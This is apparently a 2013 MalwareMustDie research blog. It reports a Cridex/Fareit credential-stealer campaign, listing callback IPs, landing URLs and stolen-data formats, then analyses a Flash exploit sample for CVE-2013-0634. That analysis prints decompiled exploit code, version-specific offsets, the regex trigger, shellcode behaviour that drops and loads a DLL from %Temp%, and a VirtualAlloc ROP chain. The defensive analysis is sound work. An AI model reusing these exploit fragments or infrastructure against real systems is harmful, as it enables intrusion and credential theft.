 |\___ e.dns.ripn.net [ru] (2001:0678:0015:0000:0193:0232:0142:0017) Not queried
 |\___ e.dns.ripn.net [ru] (193.232.142.17)
 |     |\___ ns2.finalions.ru [finalions.ru] (110.164.58.250) (cached)
 |     |\___ ns1.finalions.ru [finalions.ru] (41.168.5.140) (cached)
 |     |\___ ns3.finalions.ru [finalions.ru] (210.71.250.131) (cached)
 |     |\___ ns5.finalions.ru [finalions.ru] (184.106.195.200) *
 |      \___ ns4.finalions.ru [finalions.ru] (203.171.234.53) (cached)
 :                  :

and so on..
(c)MalwareMustDie, the NPO - malicious domain monitoring scheme..

UPDATE: 2013, March 01
Latest domains used by this Bad Actor:

This group is continuing their criminal operation under NAUNET(Russia) rogue registrar,
registering & activated malicious domains with rogue registration (see marked words below)

registrar:     NAUNET-REG-RIPN
state:         "REGISTERED, DELEGATED, UNVERIFIED"
person:        "Private Person"
They are keep on updating domains for their crime operation in daily basis,
as per pasted evidence here -->>[HERE] ←see the "Last updated" part (=today)
We marked NAUNET(RU) as a wellknown malware affiliate registrar.
They are starting new infection campaign with the new M.O. as per below details:

Details

New infection methods implemented:
1. Using the (suspected Geo-base)IP rotator base response to infection 2. Starting the infection of the Ransomware for the certain GeoIP. 3. The usage of fake/stolen CA certification is spotted. (thank's to @it4sec)
We monitored this activities for last 4days and exposed 2 reports of this case in the our beloved Pastebin with the links below: With the PluginDetect exposed as per below: And the "latest" Payloads as per below: Cridex: Ransomer: You'll see the LATEST popped up snapshot of download binary here: This criminal group is aiming the:
1. Internet service login credentials (ftp/pop3/imap/http) 2. Online cash/transaction information 3. Phishing & fraudulence of online banking

Proof of Concept

First PoC is as per pasted stealer config file here -->>[HERE] For the security purpose we can not report the Ransomer parts yet, but Credential Stealer Trojan used(Cridex+Fareit) are using callbacks with the below details: The below communication HTTP headers..(info for filtration purpose)
Method       : HTTP/1.1 POST
user-agent   : Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)
contents-type: application/x-www-form-urlencoded
Callback IPs..
h00p://203.171.234.53:8080   // the url will be plus /XXX(random)/XXX(random)/XXX(random)
h00p://221.143.48.6:8080
h00p://64.85.53.168:8080
h00p://180.235.150.72:8080
h00p://213.214.74.5:8080
h00p://210.56.23.100:8080
h00p://173.201.177.77:8080
h00p://184.106.195.200:8080
h00p://199.167.29.136:8080
h00p://62.28.244.251:8080
h00p://85.94.66.2:8080
h00p://72.251.206.90:8080
h00p://188.132.213.178:8080
h00p://78.28.120.32:8080
h00p://88.119.156.20:8080
h00p://188.117.44.241:8080
h00p://217.65.100.41:8080
h00p://37.122.209.102:8080
h00p://195.191.22.90:8080
h00p://195.191.22.40:8080
h00p://195.191.22.97:8080
h00p://195.191.22.37:8080
h00p://82.100.228.130:8080
Credential stealed with below POSTED formats: (note: grabbed ftp/http/pop3/internet explorer/firefox/macromedia used)
<http time="%%%uu">
   <url><![CDATA[%%.%us]]></url>
   <useragent><![CDATA[%%.%us]]></useragent>
    <data><![CDATA[]]></data>
</http>

<httpshot time="%%%uu">
    <url><![CDATA[%%.%us]]></url>
    <data><![CDATA[]]></data>
</httpshot>

<ftp time="%%%uu">
     <server><![CDATA[%%u.%%u.%%u.%%u:%%u]]></server>
     <user><![CDATA[%%.%us]]></user>
     <pass><![CDATA[]]></pass>
</ftp>

<pop3 time="%%%uu">
     <server><![CDATA[%%u.%%u.%%u.%%u:%%u]]></server>
     <user><![CDATA[%%.%us]]></user>
     <pass><![CDATA[]]></pass></pop3>

<cmd id="%u">%u</cmd>

<cert time="%u">
    <pass><![CDATA[]]></pass>
    <data><![CDATA[]]></data>
</cert>

<ie time="%u"><data><![CDATA[]]></data></ie> // Internet Explorer....
<ff time="%u"><data><![CDATA[]]></data></ff>  // firefox...
<mm time="%u"><data><![CDATA[]]></data></mm>  // Macromedia....
<message set_hash="%%.%us" req_set="%%%%u" req_upd="%%%%u">
<header><unique>%%.%us</unique><version>%%u</version><system>%%u</system><network>%%u</network></header>
<data>
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDa1gmnqfz0x8rbd5d78HJCgdSgkQy7k8IISlrVm8zezmXmqtbnNt7Mtk0BZxCq0xnjc+WGc1Zd8XHAkC5smrgFLgZYMhClUOEAfDLQhsnrWyjT5spwnkEgIVOv6oifW7rPPOCGbCYi1vnDiHJdy5AQqLfl4ynb5Pk259NwsjX0wQIDAQAB
</data>
</message>
Supporting the stealing method/commands:
hash
httpshots
formgrabber
httpinjects
Also supporting the file-sending method:
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html



Content-Disposition: attachment; filename=%S
With sending information to the remote malicious servers/panels below:
h00p://37.139.47.124:80
h00p://85.143.166.72:443
h00p://62.76.177.123:80/if_Career/(admin.php)
IMPORTANT! The GeoIP scheme used to rotate request is matched with the below :

Research Materials

Samples Collected -->>[HERE] We recorded PCAP up to 1700+ sec of a last infection-->>[HERE]
Additional: Thu Feb 21 18:33:41 JST 2013 The PWS Stealer (Cridex drops Fareit) distributed via BHEK, VT: 6ba7598df3a3111c4304f2c565ecc8307ecef504e0413c230e87ff6d845076da Landing page: h00p://faneroomk.ru:8080/forum/links/column.php IP: 77.120.103.221, 84.23.66.74, 210.71.250.131 Landing page + PDF infector PoC http://urlquery.net/report.php?id=1057467 Payload Url: h00p://faneroomk.ru:8080/forum/links/column.php?gf=30:1n:1i:1i:33&re=2v:1k:1m:32:33:1k:1k:31:1j Payload PoC: http://urlquery.net/report.php?id=1057662 *) thanks to @PhysicalDrive0 for landing page urlquery info.
The below crusaders is supporting this investigation: @Hulk_Crusader. @it4sec, @RazorEQX, @unixfreaxjp, @PhysicalDrive0
#MalwareMustDie, the NPO, Feb 2013.

Sunday, February 10, 2013

"Confirmed ITW" CVE-2013-0634 This LadyBoyle is not nice at all.

It was all started from a curiosity, and ending up into a serious analysis, testing and reporting..
So we have the SWF exploitation of CVE-2013-0634 and I dare myself to analyze of what we suspect as the sample of it, to try to understand what is really going on there. Warning :-) I am a unix engineer and not a Flash developer, so bear with some missing in here and there. There are still so many unsolved mistery and questions myself, please feel free to ping me in twitter or put your comment for the better thought.

Summary of analysis of a suspected CVE-2013-0634 sample


I'd like to put the conclusion first, since the analysis is long and will be a continuation, The result is not so far to what FireEye released-->>[HERE]
But I prefer to peel in more details on the code only and not to include the payload details in this partial post since the exploit details itself is taking a long explanation as per follows:

Summary

The malicious SWF checks/detects whether your system is x32 or x64, it provides both malwares and exploit scheme including the exploit data streams for both platforms (suspected two types of x32 & x64 a shellcodes also exist & still under investigation).

In my case upon the post exploitation it drops stream-out "extract" a DLL malware file from the embedded binary object. The shellcode itself will drop a malware library into %Temp% path and execute it to drop the malware executable binary.

The extraction embedded attachment process is well explain in the Adobe API reference -->>[HERE]
Which I quoted as per below:

ByteArrayAsset is a subclass of the flash.utils.ByteArray class which represents an arbitrary sequence of byte data that you embed in a Flex application.

The byte data that you are embedding can be in any kind of file, and the entire file is always embedded. You cannot embed the bytes of a particular asset that is in a SWF file, although you can embed an entire SWF file.

The MXML compiler autogenerates a class that extends ByteArrayAsset to represent the embedded data. :

The compiler autogenerates a subclass of the ByteArrayAsset class and sets your variable to be a reference to this autogenerated class. You can then use this class reference to create instances of the ByteArrayAsset using the new operator, and you can extract information from the byte array using methods of the ByteArray class:

var storyByteArray:ByteArrayAsset = ByteArrayAsset(new storyClass());

To be NOTED: the binaries are not encoded in JS/code parts, JS/code was used for exploitation act.
The post exploit itself runs the function x32 or x64 to extract the object. Which are windows x32 and x64 DLL files. It is aiming ONLY for windows platform, with aiming exploitation for flash versions:

11,5,502,146 11,4,402,287 11,5,502,135 11,4,402,278 11,5,502,110 11,4,402,265
The exploit was said aiming the ActiveX, yes, thus in the sample I analized I saw codes showing the checks on it, BUT, in codes also I saw exploitation scheme for the Flash player without ActiveX support.
*) You'll see the explanation of the theory above in the code analysis parts.

The method of flash.utils::ByteArray, following by flash.utils::Endian and the callpropvoid of writeInt to push the malicious Endian codes is the execution part of this exploitation. While before it we can find the usage of stack overflow by malicious codes like 0x41414141 and 0xFFFFFFF8 in the Flash Vector object formed, and the method of using textfield(with having the font parameter in it) to be filled with the vector object formed.

Strings used for exploitation is cleverly scattered between _local* variables, made us difficult to trace it by eyes, so by the help of debugger we can understand the flow.

I'm currently in the middle of separating exploit strings while writing this at the same time & trying to find the solid PoC of shellcode which still in process. Since the reference of exploit in this CVE is still not clear here and there (like some reference mentioning buffer overflow while other mentioning memory corruption) and also considering that new information is still keep on popping up, thus the lack of analysis sample of CVE-2013-0634 SWF file itself (so far I found only ONE "suspected" sample of CVE-2013-0634 posted in VT), made me think to have a break for a while and taking liberty to split the post into parts (1 and 2) make updates in the related topic.

The Sample

New information: As per advised I took liberty to choose sample posted in VirusTotal -->>[URL], and I picked the recent one with the below details:
Sample : ieee2013.swf
MD5    : bf29f7d83580b4b4355dbc8a82b4972a
SHA256 : 19a5e24e8c90e2d7f65729455c3fd8b89ebbfdc8d218db3ab4a3193100106267
File size: 498.8 KB ( 510762 bytes )
File name: ieee2013.swf
File type: Flash
Tags: exploit flash cve-2013-0634
Detection ratio: 12 / 45
Analysis date: 2013-02-08 19:32:42 UTC ( 17 hours, 20 minutes ago )
Malware names:
F-Secure                 : Dropped:Trojan.Agent.AYAF
DrWeb                    : Exploit.CVE2013-0633.1
GData                    : Dropped:Trojan.Agent.AYAF
Norman                   : Shellcode.E
McAfee-GW-Edition        : Heuristic.BehavesLike.Exploit.Flash.CodeExec.O
MicroWorld-eScan         : Dropped:Trojan.Agent.AYAF
Avast                    : Win32:Malware-gen
nProtect                 : Dropped:Trojan.Agent.AYAF
BitDefender              : Dropped:Trojan.Agent.AYAF
McAfee                   : Exploit-CVE2013-0633
ESET-NOD32               : SWF/Exploit.CVE-2013-0634.A
Microsoft                : Exploit:SWF/CVE-2013-0634
At the time I choosed, it was so convincing.. But during analyzing the sample deeper it turned out fakes..

Updates - 2013, Feb 26, just before midnight..

Eric Romang (@eromang) found CVE-2013-0634 in the wild spread by Gong Da(d) Exploit Kit, which can be read in his report here -->>[HERE] The sample he uploaded into Virus Total in here -->>[VIRUS-TOTAL] And I confirmed it as the same code as we posted in this post. Snapshot of the codes is: So this is the hard evidence for this exploit that infects in the wild. For the research purpose, you may confirm yourself here -->>[HERE] I thank Eric Romang for the sharing the information that we must aware of!

Understanding the Structure

It is good to visualize the structure of swf sample. I use Action Script for this purpose, this sample looks like below: We need to break it down now, using SWF dumper tool to see the format:
 * Total # of File Tags: 88
 * End (0) -- total: 1
 * ScriptLimits (65) -- total: 1
 * DoABC2 (82) -- total: 1
 * ShowFrame (1) -- total: 1
 * FileAttributes (69) -- total: 1
"* DefineBinaryData (87) -- total: 2 <==w00t"
 * SetBackgroundColor (9) -- total: 1
 * ProductInfo (41) -- total: 1
 * FrameLabel (43) -- total: 1
 * SymbolClass (76) -- total: 1
 * Metadata (77) -- total: 1
↑so we HAVE two binaries embedded from the beginning. Viewing the meta data we know it fakes "Adobe Flex 4 Application"
<Metadata>
  <rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
  <rdf:Description rdf:about='' xmlns:dc='http://purl.org/dc/elements/1.1'>
  <dc:format>application/x-shockwave-flash</dc:format>
  <dc:title>Adobe Flex 4 Application</dc:title>
  <dc:description>http://www.adobe.com/products/flex</dc:description>
  <dc:publisher>unknown</dc:publisher>
  <dc:creator>unknown</dc:creator>
  <dc:language>EN</dc:language>
  <dc:date>Feb 4, 2013</dc:date>
  </rdf:Description></rdf:RDF>
</Metadata>
I tend to check SWF timestamp in product info:
<ProductInfo product='Adobe Flex' edition='' 
  version='4.6' build='23201' 
  compileDate='Tue Feb 5 00:56:14 2013 UTC'/>
Checking the SymbolClass:
<SymbolClass>
  <Symbol idref='1' className='LadyBoyle_the_x32_Class' />
  <Symbol idref='2' className='LadyBoï½™le_the_x64_Class' />
  <Symbol idref='0' className='LadyBoyle' />
</SymbolClass>
↑You'll see the classes with the string of x32 and x64 in there.. These are binary tags:
<DefineBinaryData id='1' idrefName='LadyBoyle_the_x32_Class' length='247296' />
<DefineBinaryData id='2' idrefName='LadyBoyle_the_x64_Class' length='246272' />
So let's confirm whether the embedded binaries are really there, if so let's figure its type. Recheck by hex of the symbol class part.. to double check...
3f 13 42 00 00 00 03 00 01 00 4c 61 64 79 42 6f | ?*B*******LadyBo |
79 6c 65 5f 74 68 65 5f 78 33 32 5f 43 6c 61 73 | yle_the_x32_Clas |
73 00 02 00 4c 61 64 79 42 6f 79 6c 65 5f 74 68 | s***LadyBoyle_th |
65 5f 78 36 34 5f 43 6c 61 73 73 00 00 00 4c 61 | e_x64_Class***La |
64 79 42 6f 79 6c 65 00                         | dyBoyle*         |
OK looks binaries are there..to be sure, let's dump and see it.. Here's the x32 first block...
ff 15 06 c6 03 00 01 00 00 00 00 00 4d 5a 90 00 | ************MZ** |
03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 | **************** |
00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 | ****@*********** |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | **************** |
00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e | **************** |
00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 | ****!**L*!This p |
72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 | rogram cannot be |
20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 |  run in DOS mode |
2e 0d 0d 0a 24 00 00 00 00 00 00 00 7c 49 48 4c | .***$*******|IHL |
38 28 26 1f 38 28 26 1f 38 28 26 1f 31 50 a2 1f | 8(&*8(&*8(&*1P** |
21 28 26 1f 31 50 b3 1f 28 28 26 1f 31 50 a5 1f | !(&*1P**((&*1P** |
70 28 26 1f 1f ee 5d 1f 3b 28 26 1f 38 28 27 1f | p(&***]*;(&*8('* |
77 28 26 1f 31 50 ac 1f 3b 28 26 1f 31 50 b7 1f | w(&*1P**;(&*1P** |
39 28 26 1f 52 69 63 68 38 28 26 1f 00 00 00 00 | 9(&*Rich8(&***** |
00 00 00 00 50 45 00 00 4c 01 05 00 fc 40 10 51 | ****PE**L****@*Q |
00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 09 00 | ***********!**** |
00 66 00 00 00 5c 03 00 00 00 00 00 d6 13 00 00 | *f***\********** |
And the second one...x64 binary (1st block snipped)
ff 15 06 c2 03 00 02 00 00 00 00 00 4d 5a 90 00 | ************MZ** |
03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 | **************** |
00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 | ****@*********** |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | **************** |
00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e | **************** |
00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 | ****!**L*!This p |
72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 | rogram cannot be |
20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 |  run in DOS mode |
2e 0d 0d 0a 24 00 00 00 00 00 00 00 a4 25 09 b1 | .***$********%** |
e0 44 67 e2 e0 44 67 e2 e0 44 67 e2 e9 3c e3 e2 | *Dg**Dg**Dg**<** |
f9 44 67 e2 e9 3c e4 e2 a4 44 67 e2 e9 3c f2 e2 | *Dg**<***Dg**<** |
e9 44 67 e2 c7 82 1c e2 e5 44 67 e2 e0 44 66 e2 | *Dg******Dg**Df* |
b2 44 67 e2 e9 3c ed e2 e3 44 67 e2 e9 3c f6 e2 | *Dg**<***Dg**<** |
e1 44 67 e2 52 69 63 68 e0 44 67 e2 00 00 00 00 | *Dg*Rich*Dg***** |
00 00 00 00 50 45 00 00 64 86 06 00 fa 40 10 51 | ****PE**d****@*Q |
00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 09 00 | **********" **** |
by experience I know both are the DLL files..

Code Analysis

All of the variables prepared for exploitation always appears in pairs.. for example like below, suggested different methods used for x32 & x64:
(_local5[_local7][_local22] as Vector. < Number > )[17] = this.UintToDouble(0xFFFFFFFF, _local9);
(_local5[_local7][_local22] as Vector. < Number > )[18] = this.UintToDouble(0x41414141, 0);
Despite the pairing scheme, also spotted "generic" code scheme i.e.: Checking the exact version of Windows OS:
switch (_local19) {   
    case "windows 7":
        break;    
    case "windows server 2008 r2":        
        break;    
    case "windows server 2008":        
        break;    
    case "windows server 2003 r2":        
        break;    
    case "windows server 2003":        
        break;    
    case "windows xp":        
        break;    
    case "windows vista":        
        break;    
    default:        
        return (this.empty());  };        
It scattered exploit strings into some value of integer with _local%n names, it checked the Windows OS's flash player version & allocate different integer value if flash player contains playertype=activex (see below), ...and...
switch (_local27) {
    case "win 11,5,502,146":
        if (capabilities.playertype.tolowercase() == "activex") {  
            _local25 = (_local16 - 1838536);                       
            _local26 = (_local16 - 574720);                                };            
        break;        
    case "win 11,5,502,135":        
        if (capabilities.playertype.tolowercase() == "activex") {    
            _local25 = (_local16 - 2266027);        
            _local26 = (_local16 - 574864);                    };            
        break;        
    case "win 11,5,502,110":        
        if (capabilities.playertype.tolowercase() == "activex") {    
            _local25 = (_local16 - 1600110);        
            _local26 = (_local16 - 574424);                    };            
        break;        
    case "win 11,4,402,287":        
        if (capabilities.playertype.tolowercase() == "activex") {    
            _local25 = (_local16 - 4624790);        
            _local26 = (_local16 - 574196);                    };            
        break;        
    case "win 11,4,402,278":        
        if (capabilities.playertype.tolowercase() == "activex") {    
            _local25 = (_local16 - 1227937);        
            _local26 = (_local16 - 573876);                    };            
        break;        
    case "win 11,4,402,265":        
        if (capabilities.playertype.tolowercase() == "activex") {    
            _local25 = (_local16 - 7925883);        
            _local26 = (_local16 - 573876);                    };            
        break;
.. then preparing bigger init value for flash without activeX...
default:  
    (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9);        
    return;  };     
The other part of exploit values are implemented into other "_local*" variables in seperated section as per I pasted it here -->>[HERE] [Additional] As so many other researchers also already noticed, it is spotted the regex operation suspected the direct exploitation by it. Actually I wanted to expose this after getting more info, but OK, since so many questions came.. here we go: It filled a var with this regex string & assigned it to RegExp:
_local2 = "(?i)()()(?-i)||||||||||||||||||||||";
var _local20: RegExp = new RegExp(_local2, "");
To be used in the operation in forming object of exploitation: Why this regex was used? We saw it to be used as per it is.. To grep the pattern defined, PoC the debug code:
3509 pushstring     "(?i)()()(?-i)||||||||||||||||||||||"
3512 findpropstrict RegExp //nameIndex = 66
3517 constructprop  RegExp (2) //nameIndex = 66
3520 coerce         RegExp //nameIndex = 66
And the memory snapshot below:
0a 77 69 6e 64 6f 77 73 20 78 70 0d 77 69 6e 64| *windows xp*wind |
6f 77 73 20 76 69 73 74 61 0c 66 72 6f 6d 43 68| ows vista*fromCh |
61 72 43 6f 64 65 06 52 65 67 45 78 70 23 28 3f| arCode*RegExp#(? |
69 29 28 29 28 29 28 3f 2d 69 29 7c 7c 7c 7c 7c| i)()()(?-i)||||| |
7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c| |||||||||||||||| |
7c 06 6c 65 6e 67 74 68 10 77 72 69 74 65 55 6e| |*length*writeUn |
73 69 67 6e 65 64 49 6e 74 0a 70 6c 61 79 65 72| signedInt*player |
54 79 70 65 07 61 63 74 69 76 65 78 05 66 6c 75| Type*activex*flu |
73 68 0a 77 72 69 74 65 42 79 74 65 73 05 45 72| sh*writeBytes*Er |
72 6f 72 01 65 0c 66 6c 61 73 68 2e 65 76 65 6e| ror*e*flash.even |
74 73 0f 45 76 65 6e 74 44 69 73 70 61 74 63 68| ts*EventDispatch |
65 72 0d 44 69 73 70 6c 61 79 4f 62 6a 65 63 74| er*DisplayObject |
11 49 6e 74 65 72 61 63 74 69 76 65 4f 62 6a 65| *InteractiveObje |
63 74 16 44 69 73 70 6c 61 79 4f 62 6a 65 63 74| ct*DisplayObject |
43 6f 6e 74 61 69 6e 65 72 1a 16 01 16 05 16 08| Container******* |
↑At the time regex executed, it runs w/o crash. So if RegEXP aka regex value of "(?i)()()(?-i)||||||||||||||||||||||" has anything to do with the direct exploitation is still a question to me. The exploitation happened at the time the texfield filled with the malicios vector contains the exploit bit (in my case). That's why I desperately need to seek other samples or better memory shot to be sure of this regex method, & reason why I did not write it before too. [NEW ADDITIONAL] The usage of the regex which functioned as the trigger to the overall exploitation is explained by HaifeiLi -->>[HERE] Let's continue: The _local5 array contains vector <number> and <object> and the below checkpoints was making sure of it if we follow it further the _local5 will be used by additional hard-coded bits: Next.. depends on the processor type it assembled the strings by - using writeUnsignedInt. This is that code for x32...
// initiation of the bins.. see the 0x41 0x41 0x41 starts..
while (_local1 < (0x0400 * 100)) {
    _local17.writeUnsignedInt(0x41414141);
    _local1++;
};

// transfering the result to other vars...
_local12 = (_local12 + _local17.position);
_local14 = _local17.position;


// building the x32 exploit here...with the Unsigned interger flood...
 _local17.endian = Endian.LITTLE_ENDIAN;
 _local34 = _local17.position;
 _local17.position = (_local17.position + 224);
 _local17.writeUnsignedInt(_local25);
 _local17.position = _local34;
 _local17.position = (_local17.position + 160);
 _local17.writeUnsignedInt((_local12 + 0x0100));
 _local17.writeUnsignedInt(_local31);
 _local17.position = _local34;
 _local17.writeUnsignedInt(_local37);
 _local17.writeUnsignedInt(0);
 _local17.writeUnsignedInt(64);
 _local17.writeUnsignedInt(0);
 _local17.writeUnsignedInt(_local39);
 _local17.writeUnsignedInt(0);
 _local17.position = (_local17.position + 40);
 _local17.writeUnsignedInt(_local36);
 _local17.writeUnsignedInt(0);
 _local17.writeUnsignedInt((_local12 + 0x0100));
 _local17.writeUnsignedInt(_local31);
 _local17.writeUnsignedInt(_local38);
 _local17.writeUnsignedInt(0);
 _local17.writeUnsignedInt(0x2000);
 _local17.writeUnsignedInt(0);
 _local17.writeUnsignedInt(_local37);
 _local17.writeUnsignedInt(0);
 _local17.writeUnsignedInt(_local26);
 _local17.writeUnsignedInt(0);
 _local17.writeUnsignedInt(_local40);
 _local17.writeUnsignedInt(0);
 _local17.position = (_local34 + 0x0100);
 _local17.writeUnsignedInt(1442615440);
 _local17.writeUnsignedInt(4041507656);
              :
              :(snipped)
And this is for x64...
_local17.writeBytes(_local35, 0, _local35.length);
_local12 = _local13;
_local15 = ((((_local12 + 128) - _local10) - 16) / 8);
_local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
_local15 = ((((_local12 + 16) - _local10) - 16) / 8);
_local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
_local12 = (_local12 + _local14);
_local17.position = _local14;                   

//// Buiding x64 exploit, 
_local34 = _local17.position;
_local17.position = (_local17.position + 224);
_local17.writeUnsignedInt(_local25);
_local17.position = _local34;
_local17.position = (_local17.position + 160);
_local17.writeUnsignedInt((_local12 + 0x0100));
_local17.writeUnsignedInt(_local31);
_local17.position = _local34;
_local17.writeUnsignedInt(_local37);
_local17.writeUnsignedInt(0);
_local17.writeUnsignedInt(64);
_local17.writeUnsignedInt(0);
_local17.writeUnsignedInt(_local39);
_local17.writeUnsignedInt(0);
_local17.position = (_local17.position + 40);
_local17.writeUnsignedInt(_local36);
_local17.writeUnsignedInt(0);
_local17.writeUnsignedInt((_local12 + 0x0100));
_local17.writeUnsignedInt(_local31);
_local17.writeUnsignedInt(_local38);
              :
_local17.writeUnsignedInt(0);
_local17.position = (_local34 + 0x0100);
_local17.writeUnsignedInt(1442615440);
_local17.writeUnsignedInt(4041507656);
_local17.writeUnsignedInt(1708274504);
              :
              :(snipped)
The _local17 above was filled by values of vector objects filled by the logic of Random → Vector flood by ByteArray → formed into function ReadDouble to be used to form exploit object, flow details is--->>[HERE] Please be noted the usage of hard coded bit 0x41414141 in the vector object and usage of 0xFFFFFFF8 for gaining heap allocation/deallocation is used. Correction: 0xFFFFFFF8 is used to convert 0x*******1 to 0x*******0 which is the correct address for exploit. ) ←Thank's to @promised_lu for pointing this :-) PS: I still can't figure why the hardcoded 0x41414141 bit is there... The usage of text field with font to be filled by exploit values aiming for the overflow was also detected:
function empty(): void {
" var _local1: textfield = new textfield();"
  _local1.autosize = TextFieldAutoSize.left;
   var _local2: textformat = new textformat();
  _local2.size = 30;
  _local2.font = "Arial";
  _local2.color = 0xFF0000;
"  _local1.settextformat(_local2);"
  _local1.text = " ";
" addChild(_local1);"
After exploit form is built, it went into an execution of part of the forming code the object which in the debug code can be viewed below:
0    getlocal0      
1    pushscope      
2    findpropstrict flash.utils::ByteArray //nameIndex = 19
4    constructprop  flash.utils::ByteArray (0) //nameIndex = 19
7    coerce         flash.utils::ByteArray //nameIndex = 19
9    setlocal3      
10   getlocal3      
11   getlex         flash.utils::Endian //nameIndex = 40
13   getproperty    LITTLE_ENDIAN //nameIndex = 41
15   setproperty    endian //nameIndex = 42
17   getlocal3      
18   getlocal1      
19   callpropvoid   writeInt (1) //nameIndex = 43
22   getlocal3      
23   getlocal2      
24   callpropvoid   writeInt (1) //nameIndex = 43
↑It means: using the flash.utils::ByteArray to write integer as little endian (I call this stream-out referred to Adobe API = "extracting") ..to WriteInt values as per mixed in hex-->>[HERE] (need to split these in two for x32 and x64.. a lot ow work to do..) ..to then execute process below:
25   pushbyte       0
26   setproperty    position //nameIndex = 44
27   getlocal3      
28   callproperty   readDouble (0) //nameIndex = 45
29   returnvalue    
..at this point the return for value pointing LadyBoyle x32 OR x64 binary Class (the code is below)
    import mx.core.*;
    public class LadyBoyle_the_x32_Class extends ByteArrayAsset {
↑for the x32 ..and for the x64↓
    import mx.core.*;
    public class LadyBoyle_the_x64_Class extends ByteArrayAsset {
to extract the embedded object as per described here -->>[AdobeAPIPage] The complete decompilation code of the SWF of CVE-2013-6034 in neutralized code is here -->>[PASTEBIN]

The debug..

It's time to run this swf in debug mode.. like a binary analysis I want to capture everything I could. The (long) complete debug main init trace list is here --->>[HERE] See how it ends up to point classes of the_x32_Class:Class or the_x64_Class:Class You also can grep the "pushint" to grep all of the pushed value related codes - for the x32 and x64 -->>[HERE] If we divided it right we may slit the value of x32 and x64. (on it..) You can compare those strings with the memory snapshot here --->>[HERE] The dump binary can be downloaded here -->>[HERE] Since the code initiate the 32 & 64 bit as detailed classes↓...
this.the_x32_Class = LadyBoyle_the_x32_Class;
this.the_x64_Class = LadyBoyle_the_x64_Class;
...and the below are the trace of execution of LadyBoyle by of 32/64 bit to get the binary object embedded. For 32bit:
init():* 
// disp_id=0 method_id=15 nameIndex = 0 */
// local_count=1 max_scope=4 max_stack=2 code_len=23
// method position=3689 code position=16442 
 0      getlocal0       
 1      pushscope       
 2      findpropstrict LadyBoyle_the_x32_Class //nameIndex = 80 
 4      getlex         Object //<--- nameIndex = 54  
 6      pushscope       
 7      getlex         flash.utils::ByteArray //nameIndex = 19 
 9      pushscope       
 10     getlex         mx.core::ByteArrayAsset //nameIndex = 18 
 12     pushscope       
 13     getlex         mx.core::ByteArrayAsset //nameIndex = 18 
 15     newclass       LadyBoyle_the_x32_Class 
 17     popscope        
 18     popscope        
 19     popscope        
 20     initproperty   LadyBoyle_the_x32_Class //nameIndex = 21 
 22     returnvoid      
The 64bit..
init():* 
// disp_id=0 method_id=18 nameIndex = 0 */
// local_count=1 max_scope=4 max_stack=2 code_len=23
// method position=3701 code position=16498 
 0      getlocal0       
 1      pushscope       
 2      findpropstrict LadyBoyle_the_x64_Class //nameIndex = 81 
 4      getlex         Object // <----nameIndex = 54 
 6      pushscope       
 7      getlex         flash.utils::ByteArray //nameIndex = 19 
 9      pushscope       
 10     getlex         mx.core::ByteArrayAsset //nameIndex = 18 
 12     pushscope       
 13     getlex         mx.core::ByteArrayAsset //nameIndex = 18 
 15     newclass       LadyBoyle_the_x64_Class 
 17     popscope        
 18     popscope        
 19     popscope        
 20     initproperty   LadyBoyle_the_x64_Class //nameIndex = 22 
 22     returnvoid      
The getlex for objects→ByteArray→ByteArrayAsset→is calling embedded "LadyBoyle" class contains malware DLL binary to be extracted in the victim's PC.. [Additional-2] @promised_lu, the author of pmswalker was making a very good reversing for the this exploit sample which exposing security baypass' ROP Chain & SHELLCODE formed during exploitation. You can see his good analysis here -->>[LINK] This is VERY important chain that I was looking for from beginning the existance of the shellcode which explained the below operations: Searching for %Temp% path and load a library, as per below:
   :
069442C2 FFE0  jmp     eax        
; CreateFileA("C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\abc.cfg", 
               GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL) => 
; LoadLibraryA("C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\abc.cfg")
With noted that shellcode use of stackpivot restore the stack back to the normal flow of execution to prevent the crash. He also reversed the abc.cfg executed as libs via shellcode:
     :
 *(_DWORD *)p2 = dword_10009278;             // 'cces'
 *((_DWORD *)p2 + 1) = dword_1000927C;       // 'etne'
 *((_DWORD *)p2 + 2) = dword_10009280;       // 'xx.r'
 *((_WORD *)p2 + 6) = word_10009284;         // 'x'
    :
↑which explaining the dropping of seccetnter.xxx payload. All of the above is possible since the ALSR and DEP are bypassed, and he explianed the ROP Chain for it as per quoted below:
06944000  7C809AE1  kernel32.VirtualAlloc
06944004  06944088  /CALL to VirtualAlloc
06944008  06944000  |Address = 06944000
0694400C  00002000  |Size = 2000 (8192.)
06944010  00001000  |AllocationType = MEM_COMMIT
06944014  00000040  \Protect = PAGE_EXECUTE_READWRITE
#w00t to @promised_lu :-) good job! This solves the all mistery of this exploitation, conclusion:
